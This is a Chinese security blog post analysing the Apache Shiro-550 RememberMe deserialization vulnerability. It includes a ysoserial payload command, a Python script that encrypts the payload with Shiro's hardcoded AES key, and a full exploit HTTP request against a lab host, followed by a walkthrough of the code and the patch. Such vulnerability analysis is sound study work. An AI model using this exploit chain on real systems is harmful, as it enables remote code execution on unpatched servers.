【Java框架审计】Shiro框架550反序列化漏洞分析

admin 2023年6月11日21:38:15评论15 views字数 12685阅读42分17秒阅读模式

本文章视频讲解链接:

暂时无法播放,可回源网站播放

1、Shiro产品了解

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。

详细参考:https://shiro.apache.org/

【Java框架审计】Shiro框架550反序列化漏洞分析

基本特点如下:

  • Authentication:身份认证 / 登录,验证用户是不是拥有相应的身份;

  • Authorization:授权,即权限验证,验证某个已认证的用户是否拥有某个权限,即判断用户是否能做事情;

  • Session Management:会话管理,即用户登录后就是一次会话,在没有退出之前,它的所有信息都在会话中,会话可以是普通 JavaSE 环境的,也可以是如 Web 环境的;

  • Cryptography:加密,保护数据的安全性,如密码加密存储到数据库,而不是明文存储;

  • Web Support:Web 支持,可以非常容易的集成到 Web 环境;

  • Caching:缓存,比如用户登录后,其用户信息、拥有的角色 / 权限不必每次去查,这样可以提高效率;

  • Concurrency:Shiro 支持多线程应用的并发验证,即如在一个线程中开启另一个线程,能把权限自动传播过去;

  • Testing:提供测试支持;

  • Run As:允许一个用户假装为另一个用户(如果他们允许)的身份进行访问;

  • Remember Me:记住我,这个是非常常见的功能,即一次登录后,下次再来的话不用登录了。

2、环境搭建

2.1 下载源码

获取 1.2.4 版本的Shiro源码:

下载地址:https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4

2.2 项目了解

项目根目录文件:

【Java框架审计】Shiro框架550反序列化漏洞分析

进入samples文件夹:

【Java框架审计】Shiro框架550反序列化漏洞分析

2.3 启动项目

1、将 shiro/samples/web 导入IDE,修改pom文件内容

<properties>  <maven.compiler.source>1.8</maven.compiler.source>  <maven.compiler.target>1.8</maven.compiler.target></properties>

【Java框架审计】Shiro框架550反序列化漏洞分析

【Java框架审计】Shiro框架550反序列化漏洞分析

2、打包、启动

【Java框架审计】Shiro框架550反序列化漏洞分析

3、访问项目

【Java框架审计】Shiro框架550反序列化漏洞分析

登录成功:

【Java框架审计】Shiro框架550反序列化漏洞分析

3、Shiro-550反序列漏洞

3.1 漏洞说明

在response包中返回含有remenberMe的字段:

【Java框架审计】Shiro框架550反序列化漏洞分析

RememberMe功能说明:

(1)shiro在登录处提供了Remember Me这个功能,来记录用户登录的凭证,然后shiro会对用户传入的cookie进行解密进行反序列化。服务端接收rememberMe的cookie值后的操作是:

Base64解码 --> 使用密钥进行AES解密 --> 反序列化

(2)由于该版本AES加密的密钥Key被硬编码在代码里(漏洞能够被利用的本质),且大部分项目未修改默认AES密钥,这意味着攻击者只要通过源代码找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化,AES加密,Base64编码,然后将其作为cookie的Remember Me字段值发送,Shiro将数据进行解密并且反序列化,最终触发反序列化漏洞。

(3)处理Cookie的类是CookieRememberMeManaer,该类继承AbstractRememberMeManager类,跟进AbstractRememberMeManager类,很容易看到AES的key。key所在类 org.apache.shiro.mgt.AbstractRememberMeManager 看到 kPH+bIxk5D2deZiIxcaaaA== 的key内容。

【Java框架审计】Shiro框架550反序列化漏洞分析

3.2 漏洞复现

(1)入口

入口点在rememberMe的cookie字段处,勾选RememberMe:

【Java框架审计】Shiro框架550反序列化漏洞分析

看到Cookie中有rememberMe字段:

【Java框架审计】Shiro框架550反序列化漏洞分析

(2)生成序列化数据

使用ysoserial反序列化工具:https://github.com/frohoff/ysoserial

工具使用方法:

【Java框架审计】Shiro框架550反序列化漏洞分析

项目使用cc4链:

【Java框架审计】Shiro框架550反序列化漏洞分析

根据项目cc4链使用工具参数,生成反序列化恶意文件:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "calc" > evil.txt

【Java框架审计】Shiro框架550反序列化漏洞分析

(3)编写加密脚本

#!/usr/bin/python3# -*- coding:utf-8-*-from _ast import Lambdafrom Crypto.Cipher import AESimport uuid,base64#项目AES硬编码密钥key = "kPH+bIxk5D2deZiIxcaaaA=="f=open("evil.txt",'rb')bs = AES.block_sizepad = lambda s: s + ((bs - len(s) % bs) * chr(bs - len(s) % bs)).encode()key = base64.b64decode(key)iv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(f.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))payload = str(base64_ciphertext, encoding='utf-8')fo = open("poc.txt","w")fo.write(payload)

生成攻击poc:

python 加密.py

【Java框架审计】Shiro框架550反序列化漏洞分析

(4)触发漏洞

将生成的poc内容作为Cookie中的rememberMe字段值,触发漏洞。

POST /login.jsp HTTP/1.1Host: 172.20.10.4:8090User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 57Origin: http://172.20.10.4:8090Connection: closeReferer: http://172.20.10.4:8090/login.jspCookie: JSESSIONID=537D6AB37563E6751A0ABC948D969880;rememberMe=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Upgrade-Insecure-Requests: 1
username=34eqt&password=ewardf&rememberMe=on&submit=Login

【Java框架审计】Shiro框架550反序列化漏洞分析

3.3 Shiro AES加解密流程

3.3.1 AES加密简介

  • AES加密有AES-128(默认)、AES-192、AES-256三种,分别对应三种密钥长度128bits(16字节)、192bits(24字节)、256bits(32字节)。

  • AES加密属于分组密码算法,常见的分组加密模式有:ECB、CBC、CFB、OFB。AES算法在对明文加密的时候,并不是把整个明文一股脑的加密成一整段密文,而是把明文拆分成一个个独立的明文块,每一个明文块长度128bit,叫做块大小(BlockSize),也就是说,每个分组为16个字节(每个字节8位)。

  • 这些明文块经过AES加密器复杂处理,生成一个个独立的密文块,这些密文块拼接在一起,就是最终的AES加密的结果。

填充方式如下:
假如一段明文长度是196bit,如果按每128bit一个明文块来拆分的话,第二个明文块只有64bit,不足128bit,这就需要对明文块进行填充(Padding)。几种典型的填充方式:

  • NoPadding:不做任何填充,但是要求明文必须是16字节的整数倍。

  • PKCS5Padding(默认):缺几个字节就填几个缺的字节数,限定块大小(blocksize)为8字节。

| DD DD DD DD DD DD DD DD | DD DD DD DD 04 04 04 04 |

  • PKCS7Padding:原理与PKCS5Padding相似,区别是PKCS5Padding的blocksize为8字节,而PKCS7Padding的blocksize可以为1到255字节。

采用AES算法,其块大小最小是16字节,而pkcs5只能用于8字节,所以对于AES算法来说使用PKCS5Padding和PKCS7Padding是完全一样的。

3.3.2 Shiro加密过程

勾选RememberMe进行登录,shiro会通过登入的用户信息生成cookie并发送到客户端存储,下次再次访问时无需登入。

【Java框架审计】Shiro框架550反序列化漏洞分析

【Java框架审计】Shiro框架550反序列化漏洞分析

(1)加密过程 – 部分方法

org.apache.shiro.mgt.DefaultSecurityManager#loginorg.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin  org.apache.shiro.web.mgt.CookieRememberMeManager#forgetIdentity    org.apache.shiro.web.servlet.SimpleCookie#removeFrom  org.apache.shiro.mgt.AbstractRememberMeManager#rememberIdentity    org.apache.shiro.mgt.AbstractRememberMeManager#convertPrincipalsToBytes  serialize:503, AbstractRememberMeManager (org.apache.shiro.mgt)    --> serialize:48, DefaultSerializer (org.apache.shiro.io)    org.apache.shiro.mgt.AbstractRememberMeManager#encryt      -->org.apache.shiro.crypto.JcaCipherService#encrypt    org.apache.shiro.web.mgt.CookieRememberMeManager#rememberSerializedIdentity

(2)加密过程 – login

进入 org.apache.shiro.mgt.DefaultSecurityManager#login,其中authenticate(token)方法根据token判断是否登入成功,此时rememberMe=true,首次认证登入后,会生成cookie。

【Java框架审计】Shiro框架550反序列化漏洞分析

进入 org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin 函数。

【Java框架审计】Shiro框架550反序列化漏洞分析

其中 org.apache.shiro.web.mgt.CookieRememberMeManager#forgetIdentity 函数的作用是清除之前cookie中的rememberMe字段的值。

【Java框架审计】Shiro框架550反序列化漏洞分析

(3)加密过程 – 设置rememberMe=deleteMe

接着进入 org.apache.shiro.web.servlet.SimpleCookie#removeFrom 方法,其中的addCookieHeader方法帮助添加响应包字段,首次登录会设置rememberMe=deleteMe,Max-Age=0,来删除此cookie。

【Java框架审计】Shiro框架550反序列化漏洞分析

到 org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin 函数,判断token中rememberMe,因为是true,所以进入rememberIdentity函数。

【Java框架审计】Shiro框架550反序列化漏洞分析

接着进入 org.apache.shiro.mgt.AbstractRememberMeManager#rememberIdentity 方法,其中convertPrincipalsToBytes方法会将登入的用户主体序列化并进行AES加密后输出。

【Java框架审计】Shiro框架550反序列化漏洞分析

(4)加密过程 – 序列化

跟进 org.apache.shiro.mgt.AbstractRememberMeManager#convertPrincipalsToBytes 方法,其中serialize()方法将接收的数据序列化。

【Java框架审计】Shiro框架550反序列化漏洞分析

看到 serialize:503, AbstractRememberMeManager (org.apache.shiro.mgt) 和 serialize:48, DefaultSerializer (org.apache.shiro.io) 熟悉的writeObject方法,并将序列化后的数据流返回。

【Java框架审计】Shiro框架550反序列化漏洞分析

(5)加密过程 – AES加密

回到 org.apache.shiro.mgt.AbstractRememberMeManager#convertPrincipalsToBytes 方法,跟进encryt函数,会将获得的序列化数据进行AES加密。

【Java框架审计】Shiro框架550反序列化漏洞分析

进入 org.apache.shiro.mgt.AbstractRememberMeManager#encryt 方法,其中getCipherService()返回AES加密对象,看到使用的算法为 AES,加密模式为 CBC,填充方式为PKCS5Padding,即为 AES/CBC/PKCS5Padding 值。

【Java框架审计】Shiro框架550反序列化漏洞分析

其中 getEncryptionCipherKey() 用于获取加密密钥,返回的是Shiro默认硬编码的key,即为 kPH+bIxk5D2deZiIxcaaaA==

【Java框架审计】Shiro框架550反序列化漏洞分析

将key代入 org.apache.shiro.crypto.JcaCipherService#encrypt 方法加密,其中使用generateInitializationVector 初始化生成一个iv向量,并继续携带这些数据(key、iv、明文数据)进行加密。

【Java框架审计】Shiro框架550反序列化漏洞分析

最终将加密后的bytes数据回传给 org.apache.shiro.mgt.AbstractRememberMeManager#convertPrincipalsToBytes 方法中的bytes变量。

【Java框架审计】Shiro框架550反序列化漏洞分析

回到 org.apache.shiro.mgt.AbstractRememberMeManager#rememberIdentity 方法,此时已经拿到加密后的数据,接着跟进rememberSerializedIdentity方法。

【Java框架审计】Shiro框架550反序列化漏洞分析

(6)加密过程 – base64编码

跟进 org.apache.shiro.web.mgt.CookieRememberMeManager#rememberSerializedIdentity 方法,要对序列化的字节数组serialized进行base64编码,然后返回到cookie中。

【Java框架审计】Shiro框架550反序列化漏洞分析

至此,cookie生成过程结束,将cookie返回到客户端。

【Java框架审计】Shiro框架550反序列化漏洞分析

3.3.3 Shiro解密过程

此时已经是登录状态了,携带协商好的cookie再次发起请求,观察系统解析cookie的流程。

【Java框架审计】Shiro框架550反序列化漏洞分析

(1)解密过程 – 部分方法

org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals  org.apache.shiro.web.mgt.CookieRememberMeManager#getRememberedSerializedIdentity    org.apache.shiro.web.servlet.SimpleCookie#readValue  org.apache.shiro.mgt.AbstractRememberMeManager#convertBytesToPrincipals    org.apache.shiro.mgt.AbstractRememberMeManager#decrypt      org.apache.shiro.crypto.JcaCipherService#decrypt    org.apache.shiro.io.DefaultSerializer#deserialize      java.io.ObjectInputStream#readObject

进入 org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals 方法获取客户端数据,跟进getRememberedSerializedIdentity方法。

【Java框架审计】Shiro框架550反序列化漏洞分析

(2)解密过程 – 读取cookie

进入 org.apache.shiro.web.mgt.CookieRememberMeManager#getRememberedSerializedIdentity 方法,其中的getCookie().readValue()方法从请求中读取cookie。

【Java框架审计】Shiro框架550反序列化漏洞分析

跟进 org.apache.shiro.web.servlet.SimpleCookie#readValue 方法,读取cookie中rememberme字段值。

【Java框架审计】Shiro框架550反序列化漏洞分析

(3)解密过程 – base64解码

回到 org.apache.shiro.web.mgt.CookieRememberMeManager#getRememberedSerializedIdentity 方法,使用Base64.decode()方法对接收到的数据进行base64解码,输出byte数据。

【Java框架审计】Shiro框架550反序列化漏洞分析

回到 org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals 方法,跟进convertBytesToPrincipals方法。

【Java框架审计】Shiro框架550反序列化漏洞分析

(4)解密过程 – AES解密

进入 org.apache.shiro.mgt.AbstractRememberMeManager#convertBytesToPrincipals 方法,其中decrypt()方法要对数据进行解密。

【Java框架审计】Shiro框架550反序列化漏洞分析

跟进 org.apache.shiro.mgt.AbstractRememberMeManager#decrypt 方法,跟加密时流程很像,其中getCipherService()用来返回AES对象,看到使用的算法为AES,加密模式为 CBC,填充方式为PKCS5Padding,即 AES/CBC/PKCS5Padding,跟加密时生成的对象是一样。这里的getEncryptionCipherKey()用途一样,获取Shiro默认硬编码的key信息。

【Java框架审计】Shiro框架550反序列化漏洞分析跟进 org.apache.shiro.crypto.JcaCipherService#decrypt 方法,iv向量的长度为16字节(128比特),则截取出base64解码后的的字节数组中的前16个字节作为iv向量,进一步解密。

【Java框架审计】Shiro框架550反序列化漏洞分析

(5)解密过程 – 反序列化

最终解密后返回到 org.apache.shiro.mgt.AbstractRememberMeManager#convertBytesToPrincipals 方法,进行反序列化,进入deserialize()方法。

【Java框架审计】Shiro框架550反序列化漏洞分析

跟进 org.apache.shiro.io.DefaultSerializer#deserialize 方法,最终使用 java.io.ObjectInputStream#readObject 方法完成反序列化。

【Java框架审计】Shiro框架550反序列化漏洞分析

【Java框架审计】Shiro框架550反序列化漏洞分析

反序列化完毕后,回到 org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals 方法,principals=root,到此,cookie认证成功。

【Java框架审计】Shiro框架550反序列化漏洞分析

3.4 补丁分析

这个漏洞的关键点在于AES解密的密钥,攻击者需要知道密钥才能构造恶意的序列化数据。所以官方针对这个漏洞的修复方案是将默认硬编码的Key改为随机生成的Key来进行加密。

参考链接:https://github.com/apache/shiro/commit/4d5bb000a7f3c02d8960b32e694a565c95976848

【Java框架审计】Shiro框架550反序列化漏洞分析



原文始发于微信公众号(ZackSecurity):【Java框架审计】Shiro框架550反序列化漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月11日21:38:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【Java框架审计】Shiro框架550反序列化漏洞分析https://cn-sec.com/archives/1797376.html

发表评论

匿名网友 填写信息